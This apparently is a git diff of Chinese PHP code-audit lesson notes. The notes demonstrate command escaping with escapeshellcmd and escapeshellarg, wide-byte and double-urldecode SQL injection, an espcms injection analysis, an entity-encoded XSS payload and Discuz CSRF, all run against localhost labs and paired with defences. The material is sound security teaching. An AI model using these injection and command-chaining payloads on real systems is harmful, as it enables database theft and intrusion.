http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellcmd.php?cmd=whoami('")^$ipconfig
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "escapeshellcmd()函数举例:"."</br>";
|
||||
echo (escapeshellcmd($_GET['cmd']));
|
||||
?>
|
||||
```
|
||||
|
||||
反斜线(\)会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) ]{ } $ \ , \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
|
||||
|
||||
运行结果
|
||||
|
||||
```
|
||||
escapeshellcmd()函数举例:
|
||||
whoami ipconfig
|
||||
```
|
||||
|
||||
### 3.3.2. [escapeshellarg()](escapeshellarg())
|
||||
|
||||
功能:过滤参数,将参数限制在一对双引号里,确保参数为一个字符串把双引号替换为空格。
|
||||
|
||||
http://localhost/2020CodeAudit/C5/5-3-2-1-escapeshellarg.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
|
||||
echo "escapeshellarg()函数举例:"."</br>";
|
||||
echo 'ls ' . escapeshellarg('a"');
|
||||
?>
|
||||
```
|
||||
|
||||
### 3.3.3. 参数白名单
|
||||
|
||||
在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可。
|
||||
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 249 KiB |
@@ -1,3 +1,18 @@
|
||||
- [1. SQL注入漏洞](#1-sql注入漏洞)
|
||||
- [1.1. SQL注入漏洞-普通注入](#11-sql注入漏洞-普通注入)
|
||||
- [1.2. 编码注入](#12-编码注入)
|
||||
- [1.2.1. 宽字节注入](#121-宽字节注入)
|
||||
- [1.2.2. 二次 urldecode 注入](#122-二次-urldecode-注入)
|
||||
- [1.2.3. espcms搜索注入分析](#123-espcms搜索注入分析)
|
||||
- [1.3. 漏洞防范](#13-漏洞防范)
|
||||
- [2. XSS漏洞](#2-xss漏洞)
|
||||
- [3. CSRF漏洞(跨站请求伪造)](#3-csrf漏洞跨站请求伪造)
|
||||
- [3.1. Discuz CSRF备份拖库分析](#31-discuz-csrf备份拖库分析)
|
||||
- [3.2. CSRF漏洞防范](#32-csrf漏洞防范)
|
||||
- [3.3. 什么是Token令牌](#33-什么是token令牌)
|
||||
- [3.3.1. 一个简单的例子](#331-一个简单的例子)
|
||||
|
||||
|
||||
# 1. SQL注入漏洞
|
||||
|
||||
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
|
||||
@@ -52,14 +67,23 @@ http://localhost:8081/2020CodeAudit/C4/4-1-1-1-SQL.php?id=-1 union select 1,user
|
||||
?id=-1' and 1=1%23
|
||||
```
|
||||
|
||||
%23 表示特殊字符#
|
||||
%23 是16进制,表示特殊字符#
|
||||
|
||||
MySQL 运行的 SQL 语句为
|
||||
那么MySQL 运行的 SQL 语句为:
|
||||
|
||||
```
|
||||
select * from user where id= ' -1\' and 1 = 1#'
|
||||
```
|
||||
|
||||
[addslashes](https://www.php.net/manual/zh/function.addslashes.php)函数:
|
||||
|
||||
> 返回需要在转义字符之前添加反斜线的字符串。这些字符是:
|
||||
>
|
||||
> - 单引号(`'`)
|
||||
> - 双引号(`"`)
|
||||
> - 反斜线(`\`)
|
||||
> - NUL(NUL 字节)
|
||||
|
||||
很明显这是没有注入成功的,我们提交的单引号被转义导致没有闭合前面的单引号。
|
||||
|
||||
但是我们提交:
|
||||
@@ -120,6 +144,10 @@ http://localhost:8081/2020CodeAudit/C4/4-1-1-2-SQL-GBK.php?id=%df' union select
|
||||
结果:Array ( [0] => 1 [1] => 2 [2] => root@localhost [3] => 4 )
|
||||
```
|
||||
|
||||
注意,为什么是'運\\\\'有两个斜杠?可能你的PHP环境中配置了 **magic_quotes_gpc** ,会自动为GET或者是POST提交的数据前面增加反斜杠转义。
|
||||
|
||||
|
||||
|
||||
防范:
|
||||
|
||||
1. 在执行查询之前先执行 SET NAMES ‘gbk’,character_set_client=binary
|
||||
@@ -147,13 +175,25 @@ http://localhost:8081/2020CodeAudit/C4/4-1-1-2-SQL-GBK.php?id=%df' union select
|
||||
http://localhost:8081/2020CodeAudit/C4/4-1-1-2-SQL-urlcode.php?p=1%2527
|
||||
````
|
||||
|
||||
运行结果:
|
||||
- %25 对应字符 %
|
||||
|
||||
这个时候就出现了问题。PHP首先会对传递过后的URL进行自动解码,解码后得到的请求字符串是:
|
||||
|
||||
```
|
||||
p=1%27
|
||||
```
|
||||
|
||||
这时如果再使用 urldecode ,相当于对url进行了二次解码,%27再解码表示字符 ' 。因此该漏洞叫做**二次 urldecode 注入**,其实是解码了两次。
|
||||
|
||||
因此运行结果:
|
||||
|
||||
```
|
||||
$a=1%27
|
||||
$b=1'
|
||||
```
|
||||
|
||||
注意:代码中的 addslashes 函数其实没有作用,因为url中没有包含需要 addslashes 处理的字符。
|
||||
|
||||
### 1.2.3. espcms搜索注入分析
|
||||
|
||||
漏洞在 interface/search.php 文件和 interface/3gwap_search.php 文件 in_taglist()函数都存在。
|
||||
@@ -199,8 +239,6 @@ http://localhost:8081/espcms/index.php?ac=search&at=taglist&tagkey=a%2527,tags)
|
||||
|
||||
/admin/admin_link.php 部分代码:
|
||||
|
||||
|
||||
|
||||
```php
|
||||
// 。。。
|
||||
require_once(ADMIN_ROOT_PATH.'include/admin_link_fun.php');
|
||||
@@ -269,12 +307,16 @@ logo地址输入:
|
||||
1 onerror=alert(1)
|
||||
```
|
||||
|
||||
r是字母r的HTML实体编码。
|
||||
“r ;“是字母r的HTML实体编码。
|
||||
|
||||
其实意思是:
|
||||
|
||||
1 onerror=alert(1)
|
||||
|
||||
> onerror可以用于不同的对象,比如window对象、img元素或者其他资源加载的元素。当这些对象发生错误时,会触发onerror事件。例如,当图片加载失败时,img的onerror事件会被触发,可以执行一些回调函数,比如替换图片或者记录错误。
|
||||
>
|
||||
> 另外,onerror还可以用于资源加载,比如link、script、img等标签。例如,当script标签加载失败时,onerror事件会被触发,可以用来动态加载备用脚本。
|
||||
|
||||
登录后台:
|
||||
|
||||
```
|
||||
@@ -378,4 +420,6 @@ Token翻译中文为“标志”,在计算机认证领域叫令牌。利用验
|
||||
http://localhost/2020CodeAudit/C4/token/4-3-2-1-Token.php
|
||||
```
|
||||
|
||||
问题:什么是session,工作原理是什么?cookie 又是什么?session 和 cookie 有什么联系?
|
||||
问题:什么是session,工作原理是什么?cookie 又是什么?session 和 cookie 有什么联系?
|
||||
|
||||
> todo: 可能需要补充 cookie 和 session 的知识!
|
||||
Reference in New Issue
Block a user